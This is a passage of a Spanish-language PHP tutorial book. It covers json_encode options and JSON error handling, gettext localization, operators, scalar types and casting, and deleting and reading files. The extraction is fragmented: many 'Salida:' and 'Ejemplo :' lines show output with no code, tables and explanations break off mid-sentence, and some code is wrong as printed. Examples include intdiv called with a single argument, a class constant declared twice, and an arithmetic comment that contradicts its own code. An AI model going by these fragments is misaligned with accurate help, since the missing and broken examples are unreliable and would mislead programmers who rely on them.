Desde PHP 5.3, el segundo argumento de json_encode es una máscara de bits que puede ser una
o más de las siguientes.
https://riptutorial.com/es/home 296
Al igual que con cualquier máscara de bits, se pueden combinar con el operador binario OR | .
JSON_FORCE_OBJECT
Salida:
["Joel",23,true,["red","blue"]]
{"0":"Joel","1":23,"2":true,"3":{"0":"red","1":"blue"}}
Salida:
{"tag":"<>","amp":"&","apos":"'","quot":"\""}
{"tag":"\u003C\u003E","amp":"\u0026","apos":"\u0027","quot":"\u0022"}
JSON_NUMERIC_CHECK
https://riptutorial.com/es/home 297
Salida:
["23452",23452]
[23452,23452]
JSON_PRETTY_PRINT
$array = ['a' => 1, 'b' => 2, 'c' => 3, 'd' => 4];
echo json_encode($array);
echo json_encode($array, JSON_PRETTY_PRINT);
Salida:
{"a":1,"b":2,"c":3,"d":4}
{
"a": 1,
"b": 2,
"c": 3,
"d": 4
}
JSON_UNESCAPED_SLASHES
Salida:
{"filename":"example.txt","path":"\/full\/path\/to\/file"}
{"filename":"example.txt","path":"/full/path/to/file"}
JSON_UNESCAPED_UNICODE
Salida:
{"english":"blue","norwegian":"bl\u00e5","german":"blau"}
{"english":"blue","norwegian":"blå","german":"blau"}
Salida:
{"file":null,"name":"foo.txt"}
JSON_PRESERVE_ZERO_FRACTION
Salida:
[5,5.5]
[5.0,5.5]
JSON_UNESCAPED_LINE_TERMINATORS
Salida:
{"line":"\u2028","paragraph":"\u2029"}
{"line":" ","paragraph":" "}
https://riptutorial.com/es/home 299
PHP en sí mismo no generará ningún error o advertencia cuando esto suceda, la responsabilidad
del usuario es utilizar las funciones json_last_error () y json_last_error_msg () para verificar si
ocurrió un error y actuar en consecuencia en su aplicación (depurarlo, mostrar un mensaje de
error , etc.).
El siguiente ejemplo muestra un error común cuando se trabaja con JSON, un error al
descodificar / codificar una cadena JSON (por ejemplo, al pasar una cadena codificada en UTF-8
incorrecta) .
if (json_last_error() != JSON_ERROR_NONE) {
printf("JSON Error: %s", json_last_error_msg());
}
json_last_error_msg
json_last_error_msg() devuelve un mensaje legible por humanos del último error que se produjo al
intentar codificar / decodificar una cadena.
• Esta función siempre devolverá una cadena , incluso si no se produjo ningún error.
La cadena predeterminada que no es de error es No Error
• Devolverá false si se produce algún otro error (desconocido)
• Tenga cuidado al usar esto en bucles, ya que json_last_error_msg se anulará en cada
iteración.
Solo debe usar esta función para mostrar el mensaje, no para probar en las declaraciones de
control.
// Don't do this:
if (json_last_error_msg()){} // always true (it's a string)
if (json_last_error_msg() != "No Error"){} // Bad practice
Esta función no existe antes de PHP 5.5. Aquí hay una implementación de polyfill:
if (!function_exists('json_last_error_msg')) {
function json_last_error_msg() {
static $ERRORS = array(
JSON_ERROR_NONE => 'No error',
JSON_ERROR_DEPTH => 'Maximum stack depth exceeded',
JSON_ERROR_STATE_MISMATCH => 'State mismatch (invalid or malformed JSON)',
JSON_ERROR_CTRL_CHAR => 'Control character error, possibly incorrectly encoded',
JSON_ERROR_SYNTAX => 'Syntax error',
https://riptutorial.com/es/home 300
JSON_ERROR_UTF8 => 'Malformed UTF-8 characters, possibly incorrectly encoded'
);
$error = json_last_error();
return isset($ERRORS[$error]) ? $ERRORS[$error] : 'Unknown error';
}
}
json_last_error
json_last_error() devuelve un entero asignado a una de las constantes predefinidas provistas por
PHP.
Constante Sentido
Al crear API REST, es posible que deba reducir la información de un objeto que se pasará a la
aplicación cliente. Para este propósito, este ejemplo ilustra cómo usar la interfaz JsonSerialiazble
.
En este ejemplo, la clase User realidad extiende un objeto modelo DB de un ORM hipotético.
https://riptutorial.com/es/home 301
public $password;
public $email;
public $date_created;
public $date_edit;
public $role;
public $status;
json_encode($User);
Volverá
Esto reducirá la cantidad de datos devueltos desde un punto final RESTful y permitirá excluir las
propiedades del objeto de una representación json.
<?php
class User {
// private properties only within this class
https://riptutorial.com/es/home 302
private $id;
private $date_created;
private $date_edit;
var_dump(json_encode($theUser));
Salida:
string(44) "{"name":null,"surname":null,"username":null}"
<?php
$result = array('menu1' => 'home', 'menu2' => 'code php', 'menu3' => 'about');
El encabezado está allí para que su aplicación pueda detectar qué datos se devolvieron y cómo
debería manejarlos.
Tenga en cuenta que: el encabezado de contenido es solo información sobre el tipo de datos
devueltos.
header("Content-Type: application/json;charset=utf-8");
Ejemplo jQuery:
$.ajax({
url:'url_your_page_php_that_return_json'
}).done(function(data){
console.table('json ',data);
https://riptutorial.com/es/home 303
console.log('Menu1 : ', data.menu1);
});
https://riptutorial.com/es/home 304
Capítulo 60: Localización
Sintaxis
• string gettext (string $message)
Examples
Localizando cadenas con gettext ()
GNU gettext es una extensión dentro de PHP que debe incluirse en php.ini :
extension=php_gettext.dll #Windows
extension=gettext.so #Linux
Las funciones gettext implementan una API NLS (Native Language Support) que puede utilizarse
para internacionalizar sus aplicaciones PHP.
<?php
// Set language to French
putenv('LC_ALL= fr_FR');
setlocale(LC_ALL, 'fr_FR');
myPHPApp.po
#: /Hello_world.php:56
msgid "Hello"
msgstr "Bonjour"
#: /Hello_world.php:242
msgid "How are you?"
msgstr "Comment allez-vous?"
gettext () carga un archivo .po post-compilado dado, un .mo. que mapea tus cadenas traducidas
como las anteriores.
https://riptutorial.com/es/home 305
• ./locale/fr_FR/LC_MESSAGES/myPHPApp.mo .
Siempre que llame a gettext('some string') , si 'some string' se ha traducido en el archivo .mo ,
se devolverá la traducción. De lo contrario, 'some string' se devolverá sin traducir.
https://riptutorial.com/es/home 306
Capítulo 61: Los operadores
Introducción
Un operador es algo que toma uno o más valores (o expresiones, en la jerga de programación) y
produce otro valor (para que la construcción en sí se convierta en una expresión).
Los operadores se pueden agrupar de acuerdo con el número de valores que toman.
Observaciones
Los operadores 'operan' o actúan sobre uno (operadores unarios como !$a y ++$a ), dos
(operadores binarios como $a + $b o $a >> $b ) o tres (el único operador ternario es $a ? $b : $c )
expresiones.
La precedencia del operador influye en cómo se agrupan los operadores (como si hubiera
paréntesis). La siguiente es una lista de operadores en orden de su precendencia (operadores en
la segunda columna). Si hay varios operadores en una fila, la agrupación está determinada por el
orden del código, donde la primera columna indica la asociatividad (ver ejemplos).
Asociación Operador
izquierda -> ::
izquierda [
Correcto **
ninguna instanceof
Correcto !
izquierda */%
izquierda +-.
izquierda &
https://riptutorial.com/es/home 307
Asociación Operador
izquierda ^
izquierda |
izquierda &&
izquierda ||
Correcto ??
izquierda ? :
izquierda and
izquierda xor
izquierda or
Tenga en cuenta que las funciones y construcciones de lenguaje (por ejemplo, print ) siempre se
evalúan primero, pero cualquier valor de retorno se utilizará de acuerdo con las reglas de
asociación / precedencia anteriores. Es necesario tener especial cuidado si se omiten los
paréntesis después de una construcción de lenguaje. Ej. echo 2 . print 3 + 4; echo's 721 : la
parte de print evalúa 3 + 4 , imprime el resultado 7 y devuelve 1 . Después de eso, se hace eco
de 2 , concatenado con el valor de retorno de print ( 1 ).
Examples
Operadores de cadena (. Y. =)
$a = "a";
$b = "b";
$c = $a . $b; // $c => "ab"
$a = "a";
$a .= "b"; // $a => "ab"
https://riptutorial.com/es/home 308
$a = "some string";
El resultado de una expresión de asignación es el valor que se asigna. Tenga en cuenta que un
solo signo igual = NO es para comparación!
$a = 3;
$b = ($a = 5);
hace lo siguiente:
1. La línea 1 asigna 3 a $a .
2. La línea 2 asigna 5 a $a . Esta expresión también da valor 5 .
3. La línea 2 luego asigna el resultado de la expresión entre paréntesis ( 5 ) a $b .
Los operadores de asignación combinada son un atajo para una operación en alguna variable y
posteriormente asignan este nuevo valor a esa variable.
Aritmética:
$a = 1; // basic assignment
$a += 2; // read as '$a = $a + 2'; $a now is (1 + 2) => 3
$a -= 1; // $a now is (3 - 1) => 2
$a *= 2; // $a now is (2 * 2) => 4
$a /= 2; // $a now is (16 / 2) => 8
$a %= 5; // $a now is (8 % 5) => 3 (modulus or remainder)
// array +
$arrOne = array(1);
$arrTwo = array(2);
$arrOne += $arrTwo;
$a = "a";
$a .= "b"; // $a => "ab"
$a = 0b00101010; // $a now is 42
$a &= 0b00001111; // $a now is (00101010 & 00001111) => 00001010 (bitwise and)
$a |= 0b00100010; // $a now is (00001010 | 00100010) => 00101010 (bitwise or)
https://riptutorial.com/es/home 309
$a ^= 0b10000010; // $a now is (00101010 ^ 10000010) => 10101000 (bitwise xor)
$a >>= 3; // $a now is (10101000 >> 3) => 00010101 (shift right by 3)
$a <<= 1; // $a now is (00010101 << 1) => 00101010 (shift left by 1)
El orden en que se evalúan los operadores está determinado por la precedencia del operador
(consulte también la sección Comentarios).
En
$a = 2 * 3 + 4;
$aobtiene un valor de 10 porque 2 * 3 se evalúa primero (la multiplicación tiene una precedencia
más alta que la suma), lo que arroja un resultado secundario de 6 + 4 , que es igual a 10.
$a = 2 * (3 + 4);
Asociación
Asociación izquierda
Si la precedencia de dos operadores es igual, la asociatividad determina la agrupación (vea
también la sección de Comentarios):
Asociación correcta
$a = 1;
$b = 1;
$a = $b += 1;
https://riptutorial.com/es/home 310
asigna a $a .
Operadores de comparación
Igualdad
Para las pruebas de igualdad básicas, se utiliza el operador igual == . Para verificaciones más
completas, use el operador idéntico === .
El operador idéntico funciona igual que el operador igual, requiriendo que sus operandos tengan
el mismo valor, pero también requiere que tengan el mismo tipo de datos.
Por ejemplo, la muestra a continuación mostrará 'a y b son iguales', pero no 'a y b son idénticos'.
$a = 4;
$b = '4';
if ($a == $b) {
echo 'a and b are equal'; // this will be printed
}
if ($a === $b) {
echo 'a and b are identical'; // this won't be printed
}
Comparacion de objetos
=== compara dos objetos al verificar si son exactamente la misma instancia . Esto significa que
new stdClass() === new stdClass() resuelve en falso, incluso si se crean de la misma manera (y
tienen exactamente los mismos valores).
==compara dos objetos verificando recursivamente si son iguales ( deep equals ). Eso significa
que, para $a == $b , si $a y $b son:
1. de la misma clase
2. tienen el mismo conjunto de propiedades, incluidas las propiedades dinámicas
3. para cada propiedad $property establecida, $a->property == $b->property es verdadera (por
lo tanto, verificada recursivamente).
https://riptutorial.com/es/home 311
4. Menor o igual a ( <= )
5. No es igual a ( != )
6. No es idénticamente igual a ( !== )
1. Mayor que: $a > $b , devuelve true si $a 's valor es mayor que de $b , de lo contrario
devuelve false.
Ejemplo :
2. Menor que: $a < $b , devuelve true si $a valor 's es más pequeña que la de $b , de lo
contrario devuelve false.
Ejemplo :
Ejemplo :
Ejemplo :
5/6. No Igual / Idéntico Para: Para repetir el ejemplo anterior sobre igualdad, la muestra a
continuación mostrará 'a y b no son idénticos', pero no 'a y b no son iguales'.
$a = 4;
$b = '4';
if ($a != $b) {
echo 'a and b are not equal'; // this won't be printed
}
if ($a !== $b) {
echo 'a and b are not identical'; // this will be printed
}
https://riptutorial.com/es/home 312
Operador de la nave espacial (<=>)
PHP 7 introduce un nuevo tipo de operador, que se puede utilizar para comparar expresiones.
Este operador devolverá -1, 0 o 1 si la primera expresión es menor, igual o mayor que la segunda
expresión.
// Integers
print (1 <=> 1); // 0
print (1 <=> 2); // -1
print (2 <=> 1); // 1
// Floats
print (1.5 <=> 1.5); // 0
print (1.5 <=> 2.5); // -1
print (2.5 <=> 1.5); // 1
// Strings
print ("a" <=> "a"); // 0
print ("a" <=> "b"); // -1
print ("b" <=> "a"); // 1
Este operador es particularmente útil al escribir una función de comparación definida por el
usuario usando usort , uasort o uksort . Dada una matriz de objetos a clasificar por su propiedad
de weight , por ejemplo, una función anónima puede usar <=> para devolver el valor esperado por
las funciones de clasificación.
Null coalescing es un nuevo operador introducido en PHP 7. Este operador devuelve su primer
operando si está establecido y no es NULL . De lo contrario devolverá su segundo operando.
El siguiente ejemplo:
es equivalente a ambos:
if (isset($_POST['name'])) {
$name = $_POST['name'];
} else {
$name = 'nobody';
https://riptutorial.com/es/home 313
}
y:
Este operador también puede ser encadenado (con semántica asociativa a la derecha):
que es equivalente a:
if (isset($_GET['name'])) {
$name = $_GET['name'];
} elseif (isset($_POST['name'])) {
$name = $_POST['name'];
} else {
$name = 'nobody';
}
Nota:
Al usar el operador coalescente en la concatenación de cadenas, no olvide usar paréntesis ()
$firstName = "John";
$lastName = "Doe";
echo $firstName ?? "Unknown" . " " . $lastName ?? "";
Esto generará solo a John , y si $ firstName es nulo y $ lastName es Doe , generará Unknown Doe .
Para generar John Doe , debemos usar paréntesis como este.
$firstName = "John";
$lastName = "Doe";
echo ($firstName ?? "Unknown") . " " . ($lastName ?? "");
Para verificar si algún objeto es de una cierta clase, el operador de instanceof (binario) se puede
usar desde la versión 5 de PHP.
class MyClass {
https://riptutorial.com/es/home 314
}
// counter examples:
$b = 'b';
$a = $o1 instanceof 'MyClass'; // parse error: constant not allowed
$a = false instanceof MyClass; // fatal error: constant not allowed
$a = $b instanceof MyClass; // false ($b is not an object)
instanceoftambién se puede usar para verificar si un objeto es de una clase que extiende otra
clase o implementa alguna interfaz:
interface MyInterface {
}
$o = new MySubClass();
class MyClass {
}
class OtherClass {
}
$o = new MyClass();
$a = !$o instanceof OtherClass; // true
Tenga en cuenta que los paréntesis alrededor de $o instanceof MyClass no son necesarios porque
instanceof tiene mayor prioridad que ! , aunque puede hacer que el código sea más legible entre
paréntesis.
Advertencias
Si una clase no existe, se llama a las funciones de carga automática registradas para tratar de
https://riptutorial.com/es/home 315
definir la clase (¡este es un tema fuera del alcance de esta parte de la Documentación!). En las
versiones de PHP anteriores a 5.1.0, el operador instanceof también activaría estas llamadas,
definiendo así la clase (y si la clase no pudiera definirse, se produciría un error fatal). Para evitar
esto, usa una cadena:
$o = new MyClass();
$a = $o instanceof OtherClass; // OtherClass is not defined!
// if OtherClass can be defined in a registered autoloader, it is actually
// loaded and $a gets boolean value false ($o is not a OtherClass)
// if OtherClass can not be defined in a registered autoloader, a fatal
// error occurs.
$name = 'YetAnotherClass';
$a = $o instanceof $name; // YetAnotherClass is not defined!
// $a simply gets boolean value false, YetAnotherClass remains undefined.
A partir de la versión 5.1.0 de PHP, los autocargadores registrados ya no son llamados en estas
situaciones.
Operador Ternario (? :)
El operador ternario puede considerarse como una instrucción if línea. Se compone de tres
partes. El operator , y dos resultados. La sintaxis es la siguiente:
Si el operator se evalúa como true , se devolverá el valor en el primer bloque ( <true value> ), de
lo contrario, se devolverá el valor en el segundo bloque ( <false value> ). Dado que estamos
configurando $value al resultado de nuestro operador ternario, almacenará el valor devuelto.
Ejemplo:
La expresión (expr1) ? (expr2) : (expr3) evalúa a expr2 si expr1 evalúa como true , y expr3 si
expr1 evalúa como false .
https://riptutorial.com/es/home 316
Es posible omitir la parte media del operador ternario. Expression expr1 ?: expr3 devuelve expr1 si
expr1 evalúa como VERDADERO, y expr3 contrario. ?: se refiere a menudo como operador de
Elvis .
Esto se comporta como el operador de unión nula ?? , excepto que ?? requiere que el operando
izquierdo sea exactamente null mientras que ?: intenta resolver el operando izquierdo en un valor
booleano y verifica si se resuelve en false booleano.
Ejemplo:
Consulte Tipos para obtener más información sobre la conversión de variables a booleano.
$i = 1;
echo $i; // Prints 1
El operador de ejecución de PHP consta de backticks (``) y se utiliza para ejecutar comandos de
shell. La salida del comando se devolverá y, por lo tanto, se puede almacenar en una variable.
// List files
https://riptutorial.com/es/home 317
$output = `ls`;
echo "<pre>$output</pre>";
Operador Cierto si
$a or $b O $a ao $a $b es cierto
$a || $b O $a ao $a $b es cierto
Tenga en cuenta que el && y || Los operadores tienen mayor prioridad que and y or . Vea la tabla
de abajo:
Operadores de Bitwise
// bitwise NOT ~: sets all unset bits and unsets all set bits
printf("%'06b", ~0b110110); // 001001
https://riptutorial.com/es/home 318
Bitwise o | : se establece un bit si se establece en uno o ambos operandos
Aquí, el | El operador se utiliza para combinar las dos máscaras de bits. Aunque + tiene el mismo
efecto, | hace hincapié en que está combinando máscaras de bits, no agregando dos enteros
escalares normales.
class Foo{
const OPTION_A = 1;
const OPTION_B = 2;
const OPTION_C = 4;
const OPTION_A = 8;
https://riptutorial.com/es/home 319
Este ejemplo (asumiendo que la $option solo contiene un bit) utiliza:
haciendo &= con un entero con un solo bit no establecido solo se eliminará ese bit , no
afectando a otros bits.
&= con un bit no establecido, este bit ( (1 & 0) === 0 , (0 & 0) === 0 )
○
• El uso del operador & con otra máscara de bits filtrará todos los demás bits que no estén
definidos en esa máscara de bits.
Si la salida tiene algún bit establecido, significa que cualquiera de las opciones está
○
habilitada.
Si la salida tiene todos los bits de la máscara de bits establecida, significa que todas
○
Tenga en cuenta que estos operadores de comparación: ( < > <= >= == === != !== <> <=> ) tienen
mayor prioridad que estos operadores máscara de bits de máscara de bits-: ( | ^ & ). Dado que los
resultados a nivel de bits se comparan a menudo utilizando estos operadores de comparación,
este es un error común que se debe tener en cuenta.
<< $x es equivalente a eliminar los $x bits más altos y multiplicar por la potencia de $x th de 2
Desplazamiento a la derecha a nivel de bit >> : descarte el desplazamiento más bajo y desplace
los bits restantes a la derecha (menos significativo)
https://riptutorial.com/es/home 320
$x >>= 4;
En los sistemas de 32 bits, esto descarta todos los bits en el entero, estableciendo el valor en 0.
En los sistemas de 64 bits, esto desactiva los 32 bits más significativos y mantiene el menor
Se puede acceder a los miembros de objetos o clases utilizando el operador de objeto ( -> ) y el
operador de clase ( :: .
class MyClass {
public $a = 1;
public static $b = 2;
const C = 3;
public function d() { return 4; }
public static function e() { return 5; }
}
Tenga en cuenta que después del operador del objeto, $ no debe escribirse ( $object->a lugar de
$object->$a ). Para el operador de la clase, este no es el caso y el $ es necesario. Para una
constante definida en la clase, el $ nunca se usa.
También tenga en cuenta que var_dump(MyClass::d()); sólo se permite si la función d() no hace
referencia al objeto:
class MyClass {
private $a = 1;
public function d() {
return $this->a;
}
}
https://riptutorial.com/es/home 321
Esto provoca un 'Error fatal de PHP: error no detectado: usar $ esto cuando no está en el
contexto del objeto'
Estos operadores han dejado asociatividad, que se puede utilizar para el "encadenamiento":
class MyClass {
private $a = 1;
Estos operadores tienen la mayor prioridad (ni siquiera se mencionan en el manual), incluso más
que el clone . Así:
class MyClass {
private $a = 0;
public function add(int $a) {
$this->a += $a;
return $this;
}
public function get() {
return $this->a;
}
}
Tenga en cuenta que el uso de paréntesis para influir en la prioridad no funcionó en la versión 5
de PHP y anteriores (lo hace en PHP 7):
https://riptutorial.com/es/home 322
Capítulo 62: Los tipos
Examples
Enteros
Los enteros en PHP se pueden especificar de forma nativa en base 2 (binario), base 8 (octal),
base 10 (decimal) o base 16 (hexadecimal).
$my_decimal = 42;
$my_binary = 0b101010;
$my_octal = 052;
$my_hexadecimal = 0x2a;
Los enteros tienen una longitud de 32 o 64 bits, según la plataforma. La constante PHP_INT_SIZE
tiene un tamaño de entero en bytes. PHP_INT_MAX y (desde PHP 7.0) PHP_INT_MIN también están
disponibles.
Los valores enteros se crean automáticamente según sea necesario a partir de flotadores, valores
booleanos y cadenas. Si se necesita un typecast explícito, se puede hacer con el (int) o
(integer) cast:
$my_numeric_string = "123";
var_dump($my_numeric_string);
// Output: string(3) "123"
$my_integer = (int)$my_numeric_string;
var_dump($my_integer);
// Output: int(123)
$too_big_integer = PHP_INT_MAX + 7;
var_dump($too_big_integer);
// Output: float(9.2233720368548E+18)
$not_an_integer = 25 / 4;
var_dump($not_an_integer);
// Output: float(6.25)
var_dump((int) (25 / 4)); // (see note below)
https://riptutorial.com/es/home 323
// Output: int(6)
var_dump(intdiv(25 / 4)); // as of PHP7
// Output: int(6)
(Tenga en cuenta que los paréntesis adicionales alrededor de (25 / 4) son necesarios porque el
(int) cast tiene mayor precedencia que la división)
Instrumentos de cuerda
Una cadena en PHP es una serie de caracteres de un solo byte (es decir, no hay soporte nativo
de Unicode) que se puede especificar de cuatro maneras:
Cita única
Muestra las cosas casi completamente "como es". Las variables y la mayoría de las secuencias
de escape no serán interpretadas. La excepción es que para mostrar una comilla literal, uno
puede escapar con una barra diagonal invertida ', y para mostrar una barra diagonal inversa, se
puede escapar con otra barra diagonal inversa \
/*
string(68) "Nothing is parsed, except an escap'd apostrophe or backslash. $foo\n"
*/
Doble citado
A diferencia de una cadena entre comillas simples, se evaluarán los nombres de variables
simples y las secuencias de escape en las cadenas. Se pueden usar llaves (como en el último
ejemplo) para aislar nombres de variables complejas.
$variable1 = "Testing!";
$variable2 = [ "Testing?", [ "Failure", "Success" ] ];
$my_string = "Variables and escape characters are parsed:\n\n";
$my_string .= "$variable1\n\n$variable2[0]\n\n";
$my_string .= "There are limits: $variable2[1][0]";
$my_string .= "But we can get around them by wrapping the whole variable in braces:
{$variable2[1][1]}";
var_dump($my_string);
/*
string(98) "Variables and escape characters are parsed:
Testing!
Testing?
But we can get around them by wrapping the whole variable in braces: Success
https://riptutorial.com/es/home 324
*/
Heredoc
En una cadena heredoc, los nombres de variable y las secuencias de escape se analizan de
manera similar a las cadenas entre comillas dobles, aunque las llaves no están disponibles para
los nombres de variable complejos. El inicio de la cadena está delimitado por el identifier <<< , y
el final por el identifier , donde identifier es cualquier nombre PHP válido. El identificador final
debe aparecer en una línea por sí mismo. No se permite ningún espacio en blanco antes o
después del identificador, aunque como cualquier línea en PHP, también debe terminar con un
punto y coma.
/*
string(268) "Everything is parsed in the same fashion as a double-quoted string,
but there are advantages. Including text blocks is easier; database queries and HTML output
can benefit from this formatting.
Once we hit a line containing nothing but the identifier, the string ends."
*/
Ahoradoc
Una cadena nowdoc es como la versión de heredoc entre comillas simples, aunque ni siquiera se
evalúan las secuencias de escape más básicas. El identificador al principio de la cadena se
incluye entre comillas simples.
/*
string(116) "A similar syntax to heredoc but, similar to single quoted strings,
nothing is parsed (not even escaped apostrophes \' and backslashes \\.)"
*/
Booleano
https://riptutorial.com/es/home 325
Boolean es un tipo, que tiene dos valores, denotado como true o false .
Este código establece el valor de $foo como true y $bar como false :
$foo = true;
$bar = false;
true y false no distinguen entre mayúsculas y minúsculas, por lo que también se pueden usar
TRUE y FALSE , incluso es posible FaLsE . El uso de minúsculas es más común y se recomienda en la
mayoría de las guías de estilo de código, por ejemplo, PSR-2 .
Debido al hecho de que PHP está escrito de forma débil, si $foo anterior es distinto de true o false
, se convierte automáticamente en un valor booleano.
Los siguientes valores dan como resultado false :
Para evitar esta comparación, puede imponer una comparación sólida utilizando === , que
compara valor y tipo . Vea la comparación de tipos para más detalles.
Para convertir un tipo en booleano, puede usar la conversión (bool) o (boolean) antes del tipo.
Conversión booleana a una cadena (tenga en cuenta que false produce una cadena vacía):
https://riptutorial.com/es/home 326
var_dump((bool) ""); // bool(false)
var_dump((bool) 1); // bool(true)
Flotador
$float = 0.123;
Los flotantes son números de punto flotante, que permiten una mayor precisión de salida que los
enteros planos.
Los flotantes y los enteros se pueden usar juntos debido a la conversión suelta de tipos variables
de PHP:
$sum = 3 + 0.14;
php no muestra float como número flotante como otros idiomas, por ejemplo:
$var = 1;
echo ((float) $var); //returns 1 not 1.0
Advertencia
Precisión de punto flotante
Los números de punto flotante tienen una precisión limitada. Aunque depende del
sistema, PHP suele dar un error relativo máximo debido al redondeo en el orden de
1.11e-16. Las operaciones aritméticas no elementales pueden dar errores más
grandes, y la propagación de errores debe considerarse cuando se componen varias
operaciones.
https://riptutorial.com/es/home 327
exacta como números de punto flotante en la base 2 (binario), que se usa
internamente, sin importar el tamaño de la mantisa . Por lo tanto, no pueden
convertirse en sus equivalentes binarios internos sin una pequeña pérdida de
precisión. Esto puede llevar a resultados confusos: por ejemplo, floor ((0.1 + 0.7) * 10)
generalmente devolverá 7 en lugar del esperado 8, ya que la representación interna
será algo así como 7.9999999999999991118 ....
Por lo tanto, nunca confíe los resultados de los números flotantes al último dígito, y no
compare los números de punto flotante directamente por igualdad. Si es necesaria una
mayor precisión, las funciones matemáticas de precisión arbitraria y las funciones gmp
están disponibles.
Callable
Callables son cualquier cosa que se puede llamar como una devolución de llamada. Las cosas
que pueden denominarse "devolución de llamada" son las siguientes:
• Funciones anonimas
• Clases estáticas
• Los objetos mismos, siempre que el objeto se encuentre en la clave 0 de una matriz
Las devoluciones de llamada se pueden denotar mediante una sugerencia de tipo callable partir
de PHP 5.4.
$callable = function () {
return 'value';
};
call_something($callable);
Nulo
PHP representa "sin valor" con la palabra clave null . Es algo similar al puntero nulo en lenguaje
https://riptutorial.com/es/home 328
C y al valor NULL en SQL.
$nullvar = null;
unset($nullvar);
if ($nullvar === null) { /* true but also a Notice is printed */ }
if (is_null($nullvar)) { /* true but also a Notice is printed */ }
Comparación de tipos
Hay dos tipos de comparación : comparación suelta con == y comparación estricta con === . La
comparación estricta garantiza que tanto el tipo como el valor de ambos lados del operador sean
iguales.
// Loose comparisons
var_dump(1 == 1); // true
var_dump(1 == "1"); // true
var_dump(1 == true); // true
var_dump(0 == false); // true
// Strict comparisons
var_dump(1 === 1); // true
var_dump(1 === "1"); // false
var_dump(1 === true); // false
var_dump(0 === false); // false
https://riptutorial.com/es/home 329
También puede usar una comparación sólida para verificar si el tipo y el valor no coinciden con
!== .
Un ejemplo típico donde el operador == no es suficiente, son funciones que pueden devolver
diferentes tipos, como strpos , que devuelve false si no se encuentra la strpos searchword , y la
posición de coincidencia ( int ) de lo contrario:
Tipo de fundición
PHP generalmente adivina correctamente el tipo de datos que intenta usar a partir del contexto en
el que se usa, sin embargo, a veces es útil forzar manualmente un tipo. Esto se puede lograr
prefijando la declaración con el nombre del tipo requerido entre paréntesis:
$bool = true;
var_dump($bool); // bool(true)
$string = "asdf";
var_dump((unset)$string); // NULL
Pero tenga cuidado: no todos los tipos de conversión de tipo funcionan como uno podría esperar:
https://riptutorial.com/es/home 330
var_dump((bool) []); // bool(false) (empty array)
var_dump((bool) [false]); // bool(true) (non-empty array)
Recursos
Un recurso es un tipo especial de variable que hace referencia a un recurso externo, como un
archivo, socket, flujo, documento o conexión.
echo gettype($file);
# Out: resource
echo $file;
# Out: Resource id #2
Hay diferentes (sub) tipos de recursos. Puede verificar el tipo de recurso usando
get_resource_type() :
Puede encontrar una lista completa de los tipos de recursos incorporados aquí .
Tipo malabarismo
$a = "2"; // string
$a = $a + 2; // integer (4)
$a = $a + 0.5; // float (4.5)
$a = 1 + "2 oranges"; // integer (3)
https://riptutorial.com/es/home 331
Capítulo 63: Manejo de archivos
Sintaxis
• int readfile (cadena $ nombre de archivo [, bool $ use_include_path = falso [, recurso $
contexto]])
Parámetros
Parámetro Descripción
nombre del
El nombre del archivo que se está leyendo.
archivo
Observaciones
1. Cuerdas en la naturaleza.
• Los nombres de los archivos se pueden pasar directamente. Si se pasan valores de
otros tipos, se convierten en cadena. Esto es especialmente útil con SplFileInfo , que
es el valor en la iteración de DirectoryIterator .
2. Relativo o absoluto.
• Pueden ser absolutos. En sistemas similares a Unix, las rutas absolutas comienzan
con / , por ejemplo, /home/user/file.txt , mientras que en Windows, las rutas
absolutas comienzan con la unidad, por ejemplo, C:/Users/user/file.txt
• También pueden ser relativos, lo que depende del valor de getcwd y está sujeto a
cambios por chdir .
3. Aceptar protocolos.
• Pueden comenzar con el scheme:// para especificar el envoltorio de protocolo para
administrar. Por ejemplo, file_get_contents("http://example.com") recupera contenido
de http://example.com .
4. Slash-compatible.
• Si bien DIRECTORY_SEPARATOR en Windows es una barra invertida y el sistema devuelve
barras diagonales para las rutas de forma predeterminada, el desarrollador puede
https://riptutorial.com/es/home 332
seguir utilizando / como el separador de directorios. Por lo tanto, por compatibilidad,
los desarrolladores pueden usar / as separadores de directorio en todos los sistemas,
pero tenga en cuenta que los valores devueltos por las funciones (por ejemplo,
realpath ) pueden contener barras diagonales inversas.
Examples
Eliminar archivos y directorios
Borrando archivos
La función de unlink elimina un solo archivo y devuelve si la operación se realizó correctamente.
$filename = '/path/to/file.txt';
if (file_exists($filename)) {
$success = unlink($filename);
if (!$success) {
throw new Exception("Cannot delete $filename");
}
}
// ensure that $dir ends with a slash so that we can concatenate it with the filenames
directly
$dir = rtrim($dir, "/\\") . "/";
// store the next file name to $file. if $file is false, that's all -- end the loop.
while(($file = $list->read()) !== false) {
if($file === "." || $file === "..") continue;
if(is_file($dir . $file)) {
unlink($dir . $file);
https://riptutorial.com/es/home 333
$count++;
} elseif(is_dir($dir . $file)) {
$count += recurse_delete_dir($dir . $file);
}
}
return $count;
}
Funciones de conveniencia
Raw directo IO
y file_put_contents brindan la capacidad de leer / escribir desde / a un archivo a
file_get_contents
/ desde una cadena PHP en una sola llamada.
file_put_contents también se puede usar con el FILE_APPEND máscara de bits FILE_APPEND para
adjuntar, en lugar de truncar y sobrescribir, el archivo. Se puede usar junto con la máscara de bits
LOCK_EX para adquirir un bloqueo exclusivo del archivo mientras se continúa con la escritura.
Banderas de máscara de bits se pueden unir con el | operador en modo bit-OR.
$path = "file.txt";
// reads contents in file.txt to $contents
$contents = file_get_contents($path);
// let's change something... for example, convert the CRLF to LF!
$contents = str_replace("\r\n", "\n", $contents);
// now write it back to file.txt, replacing the original contents
file_put_contents($path, $contents);
FILE_APPEND es útil para LOCK_EX archivos de registro, mientras que LOCK_EX ayuda a prevenir la
condición de carrera de la escritura de archivos desde múltiples procesos. Por ejemplo, para
escribir en un archivo de registro sobre la sesión actual:
